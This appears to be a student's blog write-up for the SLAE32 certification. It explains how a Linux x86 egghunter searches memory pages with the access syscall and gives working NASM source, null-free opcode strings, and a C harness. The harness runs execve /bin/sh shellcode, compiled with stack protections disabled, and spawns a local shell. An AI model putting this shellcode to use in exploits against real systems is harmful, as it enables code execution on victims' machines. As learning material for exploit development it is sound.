This post introduces the third mission to my SLAE32 journey.
A cool challenge not covered during the course which made me to research and understand the concept and which scenarios its applicable.
Introduction
The third assignment for the SLAE32 purpose is to create an egghunter shellcode with the following requirements:
- Create a working demo of the Egghunter;
- The shellcode should be null-free;
- With the ability to be configurable for different payloads.
Hunting eggs in memory??? What is a Egghunter?
An egghunter is useful when there is limited buffer space controlled by an attacker to put an entire shellcode on the stack.
To get around this contrainst an egghunter acts as a staged payload. This means the smaller payload is capable of searching the through the entire memory space for a maker or egg. Once finds the egg, it indicates the start of the larger payload (shellcode) and redirect the execution flow to the instructions placed after the egg.
A reference research paper was made by Skape in 2004 named Safely Searching Process Virtual Address Space with pratical examples of different egghunter implementations.
Basic Concepts
Before goign into the code details, it’s important to have in mind some concepts to understand the internals of an egghunter.
x86 Linux Memory Pages
The manybutfinite.com article about Linux memory management states that:
“x86 processors in 32-bit mode support page sizes of 4KB, 2MB, and 4MB. Both Linux and Windows map the user portion of the virtual address space using 4KB pages. Bytes 0-4095 fall in page 0, bytes 4096-8191 fall in page 1, and so on.”
This is an important concept to be aware of because our egghunter will be iterating through pages of memory searching for the egg.
If the egghunter is able to use a sycall to check for the egg in page 0 (bytes 0-4095) and if the used syscall returns an exit code which states if the memory location is accessible or not, based on that the egghunter can skip to the next page of memory (page 1).
This way saves time and increases its performance.
Access Syscall - Can we read or not?
Based on Skape paper, there are some syscalls that can be used for this task. For this assignment, I used the access(2) syscall.
The npurpose of access(2) syscall, is to check effectively if a page memory is accessible or not. According to access man page (man 2 access
), this syscall is used to check if the calling process has access to a determined file.
In this assignment context, we will be using the exit codes to check memory pages permissions. If returns an error (EFAULT) with value 0xf2
it means the memory oage is inaccessible. If return any other value, we are good to go to search that page looking for the egg.
Double Egg
By this time, we know the egg should be placed right before the shellcode we can make is more robust placing it twice instead of just one. This way if the the egghunter finds itself we avoid unexpected behaviour from the program.
In practical terms, the shellcode structure is: egg+egg+shellcode
“Assembling” our Egghunter
First, the egg is pplaced into ebx
This register will be used after to compare with memory content.
mul ecx
after clearing ecx
register is used to clear eax
and edx
. mul
multiplies its operand with eax and saves the result in eax
and edx
. A small trick to save space with less opcodes.
mov ebx, 0x50905090 ; the egg - 0x50905090
xor ecx, ecx
mul ecx ; trick clear eax and edx
After that, we mov 0xffff
(4095 bytes) to dx
. A memory page has 4096 bytes in size but putting the value 0x1000
(4096 bytes) in dx will contain null bytes. Instead we mov 0xffff
to dx
and increment it after inc edx
inside the address_inspection:
branch.
page_alignment:
or dx, 0xfff ; sets dx to 4095
address_inspection:
inc edx ; sets dx to 4096
The next step is to analyze the memory page and check if we are able to access it. To achieve this goal, the address_inspection:
branch will start to increment EDX
to have make it 4096
. After that, to preserve the register values with push their value into the stack with pushad
instruction.
Then, we put the next 4 bytes of memory into ebx
, load the access(2) syscall to al
, and then execute it on that memory address.
address_inspection:
inc edx ; edx becomes 4096
pushad ; saves all registers values
lea ebx, [edx+4] ; load the address of the next 4 bytes
mov al, 0x21 ; set the value of the access syscall
int 0x80
In order to verify if the memory page accessible or not we will used the compare opcode - cmp
.
The compare cmp
opcode takes two operands and subtracts them, if the result is a 0, the zero-flag is set and you know that the two operands are equal.
The return code iss aved into eax
. If the EFAULT (0xf2
) error is there, our shellcode will jump to the page_alignment:
branch to check the following memory page.
cmp al, 0xf2
popad
jz page_alignment
But if the memory can be accessed, we will compare the value of the acessible memory which is stored at edx with ebx which holds our egg. If it does not match, we will jump to our address_inspection:
branch and keep reading through the page.
If the value of what is stored at edx
matches our egg, then we have to see if [edx]+4
also does to make sure we don’t have a false positive and match our double egg requirement. If it is only found once, then it’s probably just our egghunter finding itself.
Finally, if both cmp
calls result in zeros then we tell the code to jump to edx
which will execute the code stored there (our real shellcode).
cmp [edx], ebx
jnz address_inspection
cmp [edx+4], ebx
jnz address_inspection
jmp edx
Final Assembly Code
; Student ID : PA-31319
; Student Name : Eduardo Silva
; Assignment 3 : Egghunter Shellcode (Linux/x86) Assembly
; File Name : egg_hunter.nasm
global _start
section .text
_start:
mov ebx, 0x50905090
xor ecx, ecx
mul ecx
page_alignment:
or dx, 0xfff
address_inspection:
inc edx
pushad
lea ebx, [edx+4]
mov al, 0x21
int 0x80
cmp al, 0xf2
popad
jz page_alignment
cmp [edx], ebx
jnz address_inspection
cmp [edx+4], ebx
jnz address_inspection
jmp edx
Compiling and Testing the Shellcode
Checking assembler.sh
output
╭─edu@debian ~/Desktop/slae_x86/assignments/3-Egg_Hunter ‹main●›
╰─$ ../../assembler.sh egg_hunter.nasm
[*] Compiling with NASM
[*] Linking
[*] Extracting opcodes
[*] Done
Shellcode size: 39
"\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2"
--------------------
[*] Hack the World!
--------------------
No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program
#include <stdio.h>
#include <string.h>
unsigned char egghunter[] = "\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2";
unsigned char shellcode[] = "\x90\x50\x90\x50\x90\x50\x90\x50\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{
printf("Egg hunter length: %d\n", strlen(egghunter));
printf("Shellcode length: %d\n", strlen(shellcode));
void (*s)() = (void *)egghunter;
s();
return 0;
}
To execute a shell I used the execve shellcode stack
covered during the course.
Compiling with gcc
and executing it
╭─edu@debian ~/Desktop/slae_x86/assignments/3-Egg_Hunter ‹main●›
╰─$ gcc -fno-stack-protector -m32 -z execstack -o egghunter_tester shellcode.c
╭─edu@debian ~/Desktop/slae_x86/assignments/3-Egg_Hunter ‹main●›
╰─$ ./egghunter_tester
Egg hunter length: 39
Shellcode length: 33
$ id
uid=1000(edu) gid=1000(edu) groups=1000(edu),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
$ ls
egg_hunter egg_hunter.nasm egg_hunter.o egghunter_tester shellcode shellcode.c
$
We get a shell!!!
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: PA-31319
All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86